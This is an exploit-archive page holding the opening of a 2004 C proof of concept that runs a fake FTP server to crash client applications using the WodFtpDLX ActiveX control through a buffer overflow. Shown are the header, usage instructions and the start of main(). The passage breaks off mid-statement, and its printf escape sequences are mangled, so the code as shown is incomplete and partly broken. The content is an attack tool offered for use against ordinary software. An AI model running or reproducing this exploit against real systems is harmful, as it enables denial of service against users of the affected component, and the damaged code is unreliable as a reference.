[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : wodFtpDLX Client ActiveX Control Buffer Overflow Crash Exploit
# Published : 2004-11-22
# Author : Komrade
# Previous Title : Soldier of Fortune II <= 1.3 Server/Client Denial of Service Exploit
# Next Title : Ethereal <= 0.10.9 "3G-A11" Remote Buffer Overflow Exploit (2)
/************************************************************************************
WodFtpDLX Client ActiveX Control Buffer Overflow Crash Exploit
created by Komrade
e-mail: unsecure(at)altervista(dot)org
web: http://unsecure.altervista.org
Tested on WodFtpDLX.ocx versions 2.3.2.90 - 2.3.0.0 - 2.2.0.1
on a Windows XP Professional sp2 operating system.
This exploit creates a fake FTP server on your machine, waiting for the
connection of an application that uses the WodFtpDLX.ocx ActiveX Control.
After the exploit is sent the application will crash, trying to access
to a bad memory address: 0xDEADCODE.
This exploit can be executed locally or remotely.
Usage: wodftpcrash [-l] [-r server IP]
Options:
-l executed locally
-r serverIP executed remotely. You need to specify the address
of the FTP server for the PASV command (Insert your IP address)
Examples:
C:> wodftpcrash -l <- executed locally
C:> wodftpCrash -r 10.0.0.1 <- executed remotely
***************************************************************************************/
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>
#define FTP_PORT 21
#define PASV_PORT 1106
int wait = TRUE;
DWORD WINAPI fileList(LPVOID data);
int main(int argc,char **argv){
SOCKET sock, client;
struct sockaddr_in sock_addr,client_addr;
WSADATA data;
WORD p;
char mess[4096], received[512], addr[32];
int lun, n, i, err;
HANDLE fileListH;
DWORD fileListId, exitCode;
printf("------------------------------------------------------------------------------rn");
printf("WodFtpDLX Client ActiveX Control Buffer Overflow Crash Exploitrn");
printf("tttcreated by Komradernrn");
printf("tte-mail: unsecure(at)altervista(dot)orgrn");
printf("ttweb: http://unsecure.altervista.orgrn");
printf("------------------------------------------------------------------------------rnrn");
if (((argc != 2) || (strcmp(argv[1], "-l") != 0)) && ((argc != 3) || (strcmp(argv[1], "-r") != 0))){
printf("Usage: WodFtpCrash [-l] [-r server IP]rnrn");
printf("Options:rn");
printf(" -lttexecuted locally.rn");
printf(" -r server IPtexecuted remotely. You need to specify the address of thern");
printf("ttFTP server for the PASV command (Insert your IP address)rn");
printf("rnExamples:rn");
printf(" wodftpcrash -ltttexecuted locallyrn");
printf(" wodftpCrash -r 10.0.0.1texecuted remotelyrn");
return 0;
}
if(strcmp(argv[1], "-r") == 0){
char *token[4];
token[0]=strtok(argv[2], ".");
for(i = 1; i < 4; i++){
token[i]=strtok(NULL, ".");
}
strcpy(addr, "